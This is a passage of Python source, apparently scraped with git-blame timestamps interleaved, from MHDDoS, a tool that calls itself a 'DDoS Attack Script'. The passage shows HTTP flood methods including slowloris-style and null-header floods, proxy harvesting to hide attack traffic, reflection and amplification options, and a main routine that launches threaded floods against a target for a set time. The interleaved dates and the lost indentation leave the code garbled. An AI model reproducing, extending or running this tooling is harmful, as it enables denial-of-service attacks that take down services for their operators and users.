'Accept-Encoding: gzip, deflate, br\r\n'
2022-03-06 22:45:07 +08:00
'Accept-Language: en-US,en;q=0.9\r\n'
'Cache-Control: max-age=0\r\n'
'Connection: Keep-Alive\r\n'
'Sec-Fetch-Dest: document\r\n'
'Sec-Fetch-Mode: navigate\r\n'
'Sec-Fetch-Site: none\r\n'
'Sec-Fetch-User: ?1\r\n'
'Sec-Gpc: 1\r\n'
'Pragma: no-cache\r\n'
'Upgrade-Insecure-Requests: 1\r\n\r\n')
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
def NULL(self) -> None:
2022-03-15 07:22:08 +08:00
payload: Any = str.encode(self._payload +
"Host: %s\r\n" % self._target.authority +
"User-Agent: null\r\n" +
"Referrer: null\r\n" +
self.SpoofIP + "\r\n")
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)
def BOMB(self):
pro = randchoice(self._proxies)
run([
f'{bombardier_path}',
f'--connections={self._rpc}',
'--http2',
'--method=GET',
'--no-print',
'--timeout=5s',
f'--requests={self._rpc}',
f'--proxy={pro}',
f'{self._target.human_repr()}',
])
def SLOW(self):
payload: bytes = self.generate_payload()
s = None
2022-03-09 23:17:05 +08:00
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
while Tools.send(s, payload) and s.recv(1):
for i in range(self._rpc):
keep = str.encode("X-a: %d\r\n" % randint(1, 5000))
Tools.send(s, keep)
sleep(self._rpc / 15)
2022-02-28 07:13:47 +08:00
break
Tools.safe_close(s)
def select(self, name: str) -> None:
self.SENT_FLOOD = self.GET
2022-03-05 10:01:16 +08:00
if name == "POST":
self.SENT_FLOOD = self.POST
if name == "CFB":
self.SENT_FLOOD = self.CFB
if name == "CFBUAM":
self.SENT_FLOOD = self.CFBUAM
if name == "XMLRPC":
self.SENT_FLOOD = self.XMLRPC
if name == "BOT":
self.SENT_FLOOD = self.BOT
if name == "APACHE":
self.SENT_FLOOD = self.APACHE
if name == "BYPASS":
self.SENT_FLOOD = self.BYPASS
2022-03-15 07:23:59 +08:00
if name == "DGB":
self.SENT_FLOOD = self.DGB
2022-03-05 10:01:16 +08:00
if name == "OVH":
self.SENT_FLOOD = self.OVH
if name == "AVB":
self.SENT_FLOOD = self.AVB
if name == "STRESS":
self.SENT_FLOOD = self.STRESS
if name == "DYN":
self.SENT_FLOOD = self.DYN
if name == "SLOW":
self.SENT_FLOOD = self.SLOW
if name == "GSB":
self.SENT_FLOOD = self.GSB
if name == "NULL":
self.SENT_FLOOD = self.NULL
if name == "COOKIE":
self.SENT_FLOOD = self.COOKIES
2022-02-07 21:50:23 +08:00
if name == "PPS":
self.SENT_FLOOD = self.PPS
2022-03-05 07:16:47 +08:00
self._defaultpayload = (
2022-03-06 22:45:07 +08:00
self._defaultpayload +
"Host: %s\r\n\r\n" % self._target.authority).encode()
if name == "EVEN": self.SENT_FLOOD = self.EVEN
if name == "DOWNLOADER": self.SENT_FLOOD = self.DOWNLOADER
2022-03-06 01:36:48 +08:00
if name == "BOMB": self.SENT_FLOOD = self.BOMB
class ProxyManager:
2022-03-05 07:16:47 +08:00
@staticmethod
2022-02-07 18:23:21 +08:00
def DownloadFromConfig(cf, Proxy_type: int) -> Set[Proxy]:
2022-03-05 07:16:47 +08:00
providrs = [
provider for provider in cf["proxy-providers"]
if provider["type"] == Proxy_type or Proxy_type == 0
]
2022-03-02 05:52:47 +08:00
logger.info("Downloading Proxies form %d Providers" % len(providrs))
2022-03-05 07:16:47 +08:00
proxes: Set[Proxy] = set()
2022-03-02 05:52:47 +08:00
with ThreadPoolExecutor(len(providrs)) as executor:
future_to_download = {
2022-03-05 07:16:47 +08:00
executor.submit(
ProxyManager.download, provider,
ProxyType.stringToProxyType(str(provider["type"])))
2022-03-02 05:52:47 +08:00
for provider in providrs
}
for future in as_completed(future_to_download):
for pro in future.result():
proxes.add(pro)
return proxes
2022-02-08 16:53:47 +08:00
@staticmethod
2022-03-02 05:52:47 +08:00
def download(provider, proxy_type: ProxyType) -> Set[Proxy]:
2022-03-05 07:16:47 +08:00
logger.debug(
"Downloading Proxies form (URL: %s, Type: %s, Timeout: %d)" %
(provider["url"], proxy_type.name, provider["timeout"]))
proxes: Set[Proxy] = set()
with suppress(TimeoutError, exceptions.ConnectionError,
exceptions.ReadTimeout):
2022-02-08 16:53:47 +08:00
data = get(provider["url"], timeout=provider["timeout"]).text
try:
2022-03-05 07:16:47 +08:00
for proxy in ProxyUtiles.parseAllIPPort(
data.splitlines(), proxy_type):
2022-03-02 05:52:47 +08:00
proxes.add(proxy)
except Exception as e:
2022-03-05 07:16:47 +08:00
logger.error('Download Proxy Error: %s' %
(e.__str__() or e.__repr__()))
2022-03-02 05:52:47 +08:00
return proxes
2022-02-07 21:50:23 +08:00
class ToolsConsole:
2022-03-05 04:05:43 +08:00
METHODS = {"INFO", "TSSRV", "CFIP", "DNS", "PING", "CHECK", "DSTAT"}
2022-02-07 19:47:22 +08:00
@staticmethod
def checkRawSocket():
with suppress(OSError):
with socket(AF_INET, SOCK_RAW, IPPROTO_TCP):
return True
return False
@staticmethod
def runConsole():
cons = "%s@BetterStresser:~#" % gethostname()
while 1:
cmd = input(cons + " ").strip()
if not cmd: continue
if " " in cmd:
cmd, args = cmd.split(" ", 1)
cmd = cmd.upper()
if cmd == "HELP":
print("Tools:" + ", ".join(ToolsConsole.METHODS))
print("Commands: HELP, CLEAR, BACK, EXIT")
continue
if (cmd == "E") or \
(cmd == "EXIT") or \
(cmd == "Q") or \
(cmd == "QUIT") or \
(cmd == "LOGOUT") or \
(cmd == "CLOSE"):
exit(-1)
if cmd == "CLEAR":
print("\033c")
continue
if not {cmd} & ToolsConsole.METHODS:
print("%s command not found" % cmd)
continue
if cmd == "DSTAT":
with suppress(KeyboardInterrupt):
ld = net_io_counters(pernic=False)
while True:
sleep(1)
od = ld
ld = net_io_counters(pernic=False)
t = [(last - now) for now, last in zip(od, ld)]
2022-03-05 07:16:47 +08:00
logger.info(
("Bytes Sended %s\n"
"Bytes Recived %s\n"
"Packets Sended %s\n"
"Packets Recived %s\n"
"ErrIn %s\n"
"ErrOut %s\n"
"DropIn %s\n"
"DropOut %s\n"
"Cpu Usage %s\n"
"Memory %s\n") %
(Tools.humanbytes(t[0]), Tools.humanbytes(t[1]),
Tools.humanformat(t[2]), Tools.humanformat(t[3]),
t[4], t[5], t[6], t[7], str(cpu_percent()) + "%",
str(virtual_memory().percent) + "%"))
if cmd in ["CFIP", "DNS"]:
print("Soon")
continue
if cmd == "CHECK":
while True:
2022-02-28 07:13:47 +08:00
with suppress(Exception):
domain = input(f'{cons}give-me-ipaddress# ')
if not domain: continue
if domain.upper() == "BACK": break
if domain.upper() == "CLEAR":
print("\033c")
continue
if (domain.upper() == "E") or \
(domain.upper() == "EXIT") or \
(domain.upper() == "Q") or \
(domain.upper() == "QUIT") or \
(domain.upper() == "LOGOUT") or \
(domain.upper() == "CLOSE"):
exit(-1)
if "/" not in domain: continue
2022-03-14 03:46:31 +08:00
logger.info("please wait ...")
with get(domain, timeout=20) as r:
2022-03-14 03:46:31 +08:00
logger.info(('status_code: %d\n'
'status: %s') %
(r.status_code, "ONLINE"
if r.status_code <= 500 else "OFFLINE"))
if cmd == "INFO":
while True:
domain = input(f'{cons}give-me-ipaddress# ')
if not domain: continue
if domain.upper() == "BACK": break
if domain.upper() == "CLEAR":
print("\033c")
continue
if (domain.upper() == "E") or \
(domain.upper() == "EXIT") or \
(domain.upper() == "Q") or \
(domain.upper() == "QUIT") or \
(domain.upper() == "LOGOUT") or \
(domain.upper() == "CLOSE"):
exit(-1)
2022-03-05 07:16:47 +08:00
domain = domain.replace('https://',
'').replace('http://', '')
if "/" in domain: domain = domain.split("/")[0]
print('please wait ...', end="\r")
info = ToolsConsole.info(domain)
if not info["success"]:
print("Error!")
continue
2022-03-02 00:49:43 +08:00
logger.info(("Country: %s\n"
"City: %s\n"
"Org: %s\n"
"Isp: %s\n"
2022-03-05 07:16:47 +08:00
"Region: %s\n") %
(info["country"], info["city"], info["org"],
info["isp"], info["region"]))
2022-03-05 04:05:43 +08:00
if cmd == "TSSRV":
while True:
domain = input(f'{cons}give-me-domain# ')
if not domain: continue
if domain.upper() == "BACK": break
if domain.upper() == "CLEAR":
print("\033c")
continue
if (domain.upper() == "E") or \
(domain.upper() == "EXIT") or \
(domain.upper() == "Q") or \
(domain.upper() == "QUIT") or \
(domain.upper() == "LOGOUT") or \
(domain.upper() == "CLOSE"):
exit(-1)
2022-03-05 07:16:47 +08:00
domain = domain.replace('https://',
'').replace('http://', '')
2022-03-05 04:05:43 +08:00
if "/" in domain: domain = domain.split("/")[0]
print('please wait ...', end="\r")
info = ToolsConsole.ts_srv(domain)
2022-03-05 10:50:36 +08:00
logger.info("TCP: %s\n" % (info['_tsdns._tcp.']))
logger.info("UDP: %s\n" % (info['_ts3._udp.']))
2022-03-05 04:05:43 +08:00
if cmd == "PING":
while True:
domain = input(f'{cons}give-me-ipaddress# ')
if not domain: continue
if domain.upper() == "BACK": break
if domain.upper() == "CLEAR":
print("\033c")
if (domain.upper() == "E") or \
(domain.upper() == "EXIT") or \
(domain.upper() == "Q") or \
(domain.upper() == "QUIT") or \
(domain.upper() == "LOGOUT") or \
(domain.upper() == "CLOSE"):
exit(-1)
2022-03-05 07:16:47 +08:00
domain = domain.replace('https://',
'').replace('http://', '')
if "/" in domain: domain = domain.split("/")[0]
2022-03-14 03:46:31 +08:00
logger.info("please wait ...")
r = ping(domain, count=5, interval=0.2)
2022-03-02 00:49:43 +08:00
logger.info(('Address: %s\n'
'Ping: %d\n'
'Aceepted Packets: %d/%d\n'
2022-03-05 07:16:47 +08:00
'status: %s\n') %
(r.address, r.avg_rtt, r.packets_received,
r.packets_sent,
"ONLINE" if r.is_alive else "OFFLINE"))
@staticmethod
def stop():
print('All Attacks has been Stopped !')
for proc in process_iter():
if proc.name() == "python.exe":
proc.kill()
@staticmethod
def usage():
2022-03-05 07:16:47 +08:00
print((
'* MHDDoS - DDoS Attack Script With %d Methods\n'
2022-03-06 22:45:07 +08:00
'Note: If the Proxy list is empty, the attack will run without proxies\n'
' If the Proxy file doesn\'t exist, the script will download proxies and check them.\n'
' Proxy Type 0 = All in config.json\n'
' SocksTypes:\n'
' - 6 = RANDOM\n'
' - 5 = SOCKS5\n'
' - 4 = SOCKS4\n'
' - 1 = HTTP\n'
' - 0 = ALL\n'
' > Methods:\n'
' - Layer4\n'
' | %s | %d Methods\n'
' - Layer7\n'
' | %s | %d Methods\n'
' - Tools\n'
' | %s | %d Methods\n'
' - Others\n'
' | %s | %d Methods\n'
' - All %d Methods\n'
'\n'
'Example:\n'
' L7: python3 %s <method> <url> <socks_type> <threads> <proxylist> <rpc> <duration> <debug=optional>\n'
' L4: python3 %s <method> <ip:port> <threads> <duration>\n'
' L4 Proxied: python3 %s <method> <ip:port> <threads> <duration> <socks_type> <proxylist>\n'
' L4 Amplification: python3 %s <method> <ip:port> <threads> <duration> <reflector file (only use with'
' Amplification)>\n') %
(len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
", ".join(Methods.LAYER4_METHODS), len(Methods.LAYER4_METHODS),
2022-03-06 22:45:07 +08:00
", ".join(Methods.LAYER7_METHODS), len(Methods.LAYER7_METHODS),
", ".join(ToolsConsole.METHODS), len(ToolsConsole.METHODS),
", ".join(["TOOLS", "HELP", "STOP"]), 3,
len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
argv[0], argv[0], argv[0], argv[0]))
# noinspection PyBroadException
2022-03-05 04:05:43 +08:00
@staticmethod
def ts_srv(domain):
2022-03-05 07:16:47 +08:00
records = ['_ts3._udp.', '_tsdns._tcp.']
DnsResolver = resolver.Resolver()
2022-03-05 07:16:47 +08:00
DnsResolver.timeout = 1
DnsResolver.lifetime = 1
Info = {}
for rec in records:
try:
srv_records = resolver.resolve(rec + domain, 'SRV')
2022-03-05 07:16:47 +08:00
for srv in srv_records:
Info[rec] = str(srv.target).rstrip('.') + ':' + str(
srv.port)
except:
Info[rec] = 'Not found'
2022-03-05 04:05:43 +08:00
2022-03-06 22:45:07 +08:00
return Info
2022-03-05 04:05:43 +08:00
# noinspection PyUnreachableCode
@staticmethod
def info(domain):
2022-03-09 23:17:05 +08:00
with suppress(Exception), get("https://ipwhois.app/json/%s/" % domain) as s:
return s.json()
return {"success": False}
2021-02-24 01:32:58 +08:00
2022-03-05 07:16:47 +08:00
2022-03-06 23:49:52 +08:00
def handleProxyList(con, proxy_li, proxy_ty, url=None):
2022-03-06 22:45:07 +08:00
if proxy_ty not in {4, 5, 1, 0, 6}:
exit("Socks Type Not Found [4, 5, 1, 0, 6]")
if proxy_ty == 6:
proxy_ty = randchoice([4, 5, 1])
2022-03-06 01:36:48 +08:00
if not proxy_li.exists():
logger.warning("The file doesn't exist, creating files and downloading proxies.")
proxy_li.parent.mkdir(parents=True, exist_ok=True)
with proxy_li.open("w") as wr:
Proxies: Set[Proxy] = ProxyManager.DownloadFromConfig(con, proxy_ty)
logger.info(
f"{len(Proxies):,} Proxies are getting checked, this may take awhile!"
)
Proxies = ProxyChecker.checkAll(
Proxies, timeout=1, threads=threads,
url=url.human_repr() if url else "http://httpbin.org/get",
2022-03-06 01:36:48 +08:00
)
2022-03-07 07:03:49 +08:00
2022-03-06 01:36:48 +08:00
if not Proxies:
exit(
"Proxy Check failed, Your network may be the problem"
" | The target may not be available."
)
stringBuilder = ""
for proxy in Proxies:
stringBuilder += (proxy.__str__() + "\n")
wr.write(stringBuilder)
proxies = ProxyUtiles.readFromFile(proxy_li)
if proxies:
logger.info(f"Proxy Count: {len(proxies):,}")
else:
logger.info(
"Empty Proxy File, running flood witout proxy")
proxies = None
return proxies
2021-02-24 01:32:58 +08:00
if __name__ == '__main__':
2022-03-02 00:49:43 +08:00
with open(__dir__ / "config.json") as f:
2022-02-07 05:57:41 +08:00
con = load(f)
2022-02-07 19:52:39 +08:00
with suppress(KeyboardInterrupt):
with suppress(IndexError):
one = argv[1].upper()
2022-03-05 10:01:16 +08:00
if one == "HELP":
2022-03-06 22:45:07 +08:00
raise IndexError()
2022-03-05 10:01:16 +08:00
if one == "TOOLS":
2022-03-06 22:45:07 +08:00
ToolsConsole.runConsole()
2022-03-05 10:01:16 +08:00
if one == "STOP":
2022-03-06 22:45:07 +08:00
ToolsConsole.stop()
2022-02-07 19:52:39 +08:00
method = one
host = None
url = None
2022-02-07 19:52:39 +08:00
event = Event()
2022-02-28 07:13:47 +08:00
event.clear()
2022-03-02 00:49:43 +08:00
target = None
2022-03-06 22:45:07 +08:00
urlraw = argv[2].strip()
if not urlraw.startswith("http"):
urlraw = "http://" + urlraw
2022-02-07 19:52:39 +08:00
2022-02-28 06:16:24 +08:00
if method not in Methods.ALL_METHODS:
2022-03-05 07:16:47 +08:00
exit("Method Not Found %s" %
", ".join(Methods.ALL_METHODS))
2022-02-28 06:16:24 +08:00
2022-02-07 19:52:39 +08:00
if method in Methods.LAYER7_METHODS:
2022-02-27 23:16:11 +08:00
url = URL(urlraw)
host = url.host
try:
host = gethostbyname(url.host)
except Exception as e:
2022-03-02 00:49:43 +08:00
exit('Cannot resolve hostname ', url.host, e)
2022-02-07 19:52:39 +08:00
threads = int(argv[4])
rpc = int(argv[6])
timer = int(argv[7])
proxy_ty = int(argv[3].strip())
2022-03-05 07:16:47 +08:00
proxy_li = Path(__dir__ / "files/proxies/" /
argv[5].strip())
2022-03-02 00:49:43 +08:00
useragent_li = Path(__dir__ / "files/useragent.txt")
referers_li = Path(__dir__ / "files/referers.txt")
bombardier_path = Path.home() / "go/bin/bombardier"
2022-02-07 19:52:39 +08:00
proxies: Any = set()
if method == "BOMB":
assert (
bombardier_path.exists()
or bombardier_path.with_suffix('.exe').exists()
), (
"Install bombardier: "
"https://github.com/MHProDev/MHDDoS/wiki/BOMB-method"
)
2022-03-02 00:49:43 +08:00
if len(argv) == 9:
logger.setLevel("DEBUG")
2022-03-05 07:16:47 +08:00
if not useragent_li.exists():
exit("The Useragent file doesn't exist ")
if not referers_li.exists():
exit("The Referer file doesn't exist ")
2022-02-07 19:52:39 +08:00
2022-03-05 07:16:47 +08:00
uagents = set(a.strip()
for a in useragent_li.open("r+").readlines())
referers = set(a.strip()
for a in referers_li.open("r+").readlines())
2022-02-07 19:52:39 +08:00
if not uagents: exit("Empty Useragent File ")
if not referers: exit("Empty Referer File ")
2022-03-05 07:16:47 +08:00
if threads > 1000:
logger.warning("Thread is higher than 1000")
if rpc > 100:
logger.warning(
"RPC (Request Pre Connection) is higher than 100")
2022-02-07 19:52:39 +08:00
2022-03-06 23:49:52 +08:00
proxies = handleProxyList(con, proxy_li, proxy_ty, url)
2022-02-07 19:52:39 +08:00
for _ in range(threads):
2022-03-05 07:16:47 +08:00
HttpFlood(url, host, method, rpc, event, uagents,
referers, proxies).start()
2022-02-07 20:36:57 +08:00
2022-02-07 19:52:39 +08:00
if method in Methods.LAYER4_METHODS:
2022-03-06 22:45:07 +08:00
target = URL(urlraw)
2022-02-07 19:52:39 +08:00
2022-03-06 22:45:07 +08:00
port = target.port
target = target.host
try:
target = gethostbyname(target)
except Exception as e:
exit('Cannot resolve hostname ', url.host, e)
2022-03-06 01:36:48 +08:00
2022-03-05 10:01:16 +08:00
if port > 65535 or port < 1:
2022-03-05 07:16:47 +08:00
exit("Invalid Port [Min: 1 / Max: 65535] ")
2022-03-06 22:45:07 +08:00
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD", "SYN"} and \
2022-03-05 07:16:47 +08:00
not ToolsConsole.checkRawSocket():
2022-03-06 22:45:07 +08:00
exit("Cannot Create Raw Socket")
2022-02-07 19:52:39 +08:00
2022-03-06 22:45:07 +08:00
threads = int(argv[3])
timer = int(argv[4])
2022-03-06 23:38:39 +08:00
proxies = None
2022-03-06 22:45:07 +08:00
ref = None
if not port:
logger.warning("Port Not Selected, Set To Default: 80")
port = 80
if len(argv) >= 6:
argfive = argv[5].strip()
if argfive:
2022-03-07 01:20:40 +08:00
refl_li = Path(__dir__ / "files" / argfive)
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD"}:
2022-03-07 01:20:40 +08:00
if not refl_li.exists():
exit("The reflector file doesn't exist")
2022-03-07 00:58:27 +08:00
if len(argv) == 7:
logger.setLevel("DEBUG")
2022-03-06 22:45:07 +08:00
ref = set(a.strip()
for a in ProxyTools.Patterns.IP.findall(
refl_li.open("r+").read()))
if not ref: exit("Empty Reflector File ")
elif argfive.isdigit() and len(argv) >= 7:
2022-03-07 00:58:27 +08:00
if len(argv) == 8:
logger.setLevel("DEBUG")
2022-03-06 23:38:39 +08:00
proxy_ty = int(argfive)
2022-03-07 01:20:40 +08:00
proxy_li = Path(__dir__ / "files/proxies" / argv[6].strip())
2022-03-06 22:45:07 +08:00
proxies = handleProxyList(con, proxy_li, proxy_ty)
if method not in {"MINECRAFT", "MCBOT", "TCP", "CPS", "CONNECTION"}:
2022-03-06 22:45:07 +08:00
exit("this method cannot use for layer4 proxy")
2022-03-06 23:49:52 +08:00
else:
2022-03-05 07:16:47 +08:00
logger.setLevel("DEBUG")
2022-03-06 22:45:07 +08:00
2022-02-07 19:52:39 +08:00
for _ in range(threads):
2022-03-05 07:16:47 +08:00
Layer4((target, port), ref, method, event,
proxies).start()
2022-02-07 19:52:39 +08:00
2022-03-05 07:16:47 +08:00
logger.info(
"Attack Started to %s with %s method for %s seconds, threads: %d!"
% (target or url.human_repr(), method, timer, threads))
2022-02-07 19:52:39 +08:00
event.set()
2022-03-02 00:49:43 +08:00
ts = time()
while time() < ts + timer:
2022-03-05 07:16:47 +08:00
logger.debug('PPS: %s, BPS: %s / %d%%' %
2022-03-05 10:01:16 +08:00
(Tools.humanformat(int(REQUESTS_SENT)),
Tools.humanbytes(int(BYTES_SEND)),
2022-03-05 07:16:47 +08:00
round((time() - ts) / timer * 100, 2)))
2022-03-05 10:01:16 +08:00
REQUESTS_SENT.set(0)
BYTES_SEND.set(0)
2022-02-07 19:52:39 +08:00
sleep(1)
2022-03-02 00:49:43 +08:00
2022-02-28 07:13:47 +08:00
event.clear()
2022-02-07 19:52:39 +08:00
exit()
2022-03-02 00:49:43 +08:00
2022-02-07 19:52:39 +08:00
ToolsConsole.usage()